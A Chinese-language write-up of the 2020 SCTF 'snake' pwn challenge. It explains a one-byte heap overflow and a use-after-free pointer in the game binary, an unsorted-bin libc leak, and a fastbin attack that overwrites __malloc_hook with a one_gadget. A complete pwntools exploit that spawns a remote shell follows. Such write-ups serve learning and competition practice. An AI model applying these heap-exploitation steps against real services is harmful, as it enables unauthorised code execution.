2020SCTF——PWN snake

0x00 背景

今年SCTF上的一道PWN题,难度还行,关键是要大概读懂程序,找到可利用的漏洞。由于比赛环境使用的是libc2.23,我为了复现也搞了一个ubuntu16.04的虚拟机(也是libc2.23)。这样搞fastbin利用比较方便。最后在libc的小版本上还是有一点出入,不过,问题不大。

0x01 源码分析

整个main函数的大致逻辑如下,一个42*62的二维数组保存整个游戏区域。依据输入的方向键改变蛇移动的方向。碰到边界后游戏结束。打印分数,并可以留言。然后就进入了喜闻乐见的菜单界面。

while ( 1 )
  {
    v10 = 0;
    v13 = 60;//起始y坐标
    v14 = 4;//起始x坐标
    v11 = 0;//y方向的速度
    v12 = 1;//x方向的速度
    dword_603120 = 0;
    memset(ptr_togame_area, 0, 0xA2CuLL);
    sub_4012D7((__int64)ptr_togame_area);
    while ( 1 )                                 // in_the_game
    {
      sub_40142A(&v13, &v14, &v11, &v12);
      sub_400EBA((__int64)&v16, dword_603120 + 1, &v13, &v14, (__int64)ptr_togame_area);
      printf("player name: %s \t  score: %d\n", buf, (unsigned int)dword_603120);
      v15 = sub_401560(v13, v14, (__int64)ptr_togame_area, &v11, &v12);
      if ( v15 )
        break;
      v7 = ptr_togame_area;
      if ( v7[(signed int)sub_400E87(v13 + v11, v12 + v14)] == 97 )
      {
        ++dword_603120;
        sub_4010E0();
      }
      else
      {
        sub_401375();
        usleep(0x11170u);
        sub_400EA4();
      }
    }
    v15 = 0;
    printf("your score is %d:\n", (unsigned int)dword_603120);
    puts("please leave words:");
    fflush(stdin);
    v3 = (char *)ptr_togame_area;
    v4 = sub_400E87(v13, v14);
    read(0, &v3[v4], 77uLL);
    v5 = (const char *)ptr_togame_area;
    v6 = sub_400E87(v13, v14);
    puts(&v5[v6]);
    fflush(stdin);
    puts("if you want to exit?");
    v9 = getchar();
    fflush(stdin);
    if ( v9 == 'y' || v9 == 'Y' )
      break;
    while ( v10 != 4 )
    {
      puts("what do you want to do?");
      puts("1.add name");
      puts("2.delete name");
      puts("3.get name");
      puts("4.start name");
      scanf("%d", &v10);
      if ( v10 == 2 )
      {
        del();
      }
      else if ( v10 > 2 )
      {
        if ( v10 == 3 )
          get_name();
      }
      else if ( v10 == 1 )
      {
        add_name();
      }
    }
  }

分析一通后,发现留言长度是77,并且留言存放的地址是我们蛇死亡的位置向后。而我们如果让蛇死在右下角,坐标为(40,60),换算成一维坐标是2540,而游戏区域的chunk大小为(0xA2C//0x10+1)*0x10 = 2608,对应着坐标为0~2607。所以之后还有2607-2540+1 = 68个字节,再加上下一个堆块的prev_size域,我们还需要覆盖8个字节,所以77个字节可以让我们正好覆盖到下一个堆块的size域,用来伪造fake chunk0。
之后我们还可以发现游戏中用来打印玩家名字的语句printf("player name: %s \t score: %d\n", buf, (unsigned int)dword_603120);有逻辑漏洞,这里使用的是buf指针,而这个指针在del函数里没有置0,(del函数仅仅将ptr指针数组的相应元素置0了,忽略了buf也指向该被free的区域)
结合上面两点,就能进行libc的泄露和堆块利用了。

0x02 unsortedbin 泄露libc

利用一字节的溢出构造大小为0xc1的fake chunk,free后放入unsortedbin。
通过逻辑漏洞可以在下一次的游戏中泄露出main_arena-88,通过本地调试得到偏移,进而获得libc基址。
相关代码如下

sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')

for i in range(0,36):	#一直往下走,让蛇死在右下角
	sh.send('\n')
payload = 'a'*76+'\xc1'
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')



create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()

sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
#这里前一个是本地调试泄露的数据,后一个是在pwndbg中使用libs命令获得的本次程序的libc基址
success(hex(libc_addr))

0x03 fastbins attack

这里的利用思路大概有两种(也是看了各位大佬的wp总结的)。一个是打malloc_hook,一个是打free_fook。由于malloc的参数是一个size_t,我们不好直接构造system(’/bin/sh\x00‘),通常需要借助one gadget。而free得参数是一个指针,我们free一个堆块内容为’/bin/sh\x00’的堆块,很自然的,调用free_hook也就是system的时候就会调用system(’/bin/sh\x00’)。不过这题,我在本地调了半天,打free_hook总会出现奇怪的问题,只有思路完全照着大佬的wp才能成功,但搞不清楚其中几个操作为什么是必要的。所以这里还是就malloc_hook来进行介绍。
根据之前构造的fake chunk0,我们可以操控free后的chunk1(fastbins)。
将chunk1的fd改为malloc_hook-0x23(该地址可以通过chunk size检查)
然后再创建两次chunk size大小为0x70的堆块,就能分配到malloc_hook-0x23处的内存,进而可以修改malloc_hook为one gadget的地址。
(这里多个one gadget需要多试几次)
之后再手动创建一个堆块,调用malloc_hook就可以get_shell了。

0x04 整体exp

#coding:utf8
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h'] #pwndbg适配该终端,加上这句话,我们就可以在一个终端进行分屏调试,分屏的切换一类的操作还需要查看一下tmux如何使用

ip = '39.107.244.116'
port =  9999
process_name = './snake'
if args.G:           #还没搞清楚是什么原理,但是用法就是在参数列表中加个G就可以进入本地调试的分支
    sh = process(process_name)
    addr='0x401797'
    gdb.attach(sh, "b *" + addr)
elif args.NG:           #本地非调试分支
    sh = process(process_name)

else:
    sh = remote(ip,port)


def create(idx,length,name):
	sh.sendlineafter('4.start name\n','1')
	sh.sendlineafter('index?\n',str(idx))
	sh.sendlineafter('how long?\n',str(length))
	sh.sendlineafter('name?\n',name)

def set(idx):
	sh.sendlineafter('4.start name\n','3')
	sh.sendlineafter('index?\n',str(idx))

def dele(idx):
	sh.sendlineafter('4.start name\n','2')
	sh.sendlineafter('index?\n',str(idx))

def restart():
	sh.sendlineafter('4.start name\n','4')


sh.sendlineafter('how long?\n','72')
sh.sendlineafter('name\n','abc')

for i in range(0,36): #让蛇一直往下运动,在右下角死亡
	sh.send('\n')
payload = 'a'*76+'\xc1' #覆盖chunk0的size域
sh.sendafter('please leave words:\n',payload)
sh.sendafter('exit?\n','\n')



create(1,0x68,'a')
create(2,0x68,'a')
create(3,0x68,'a')
set(0)
dele(0)
restart()

sh.recvuntil('player name: ')
leak = u64(sh.recv(6).ljust(8,"\x00"))
success(hex(leak))
libc_addr=leak-(0x7f5755753b78-0x7f575538f000)
success(hex(libc_addr))
pause()
sh.send('d')
sh.sendlineafter('please leave words:\n','abcd')
sh.sendlineafter('exit?\n','n')

dele(1)

malloc_hook = 0x3C4B10+libc_addr
payload = 9*p64(1)+p64(0x71)+p64(malloc_hook-0x23)
create(0,0x6f,payload) #覆盖chunk1的fd域,使得大小为0x70得fastbins可以指向malloc_hook前的某处 chunk1->malloc_hook-0x23->0
create(1,0x68,"a")    #申请掉chunk1
create(4,0x68,"\x00"*0x13+p64(0x0f1147+libc_addr)) #再申请大小为0x70的堆块就会申请到我们的目标地址处,将malloc_hook处覆盖为onegadget的地址值  

sh.sendlineafter('4.start name\n','1')
sh.sendlineafter('index?\n','5')
sh.sendlineafter('how long?\n','20')

sh.interactive()

你可能感兴趣的:(ctf相关)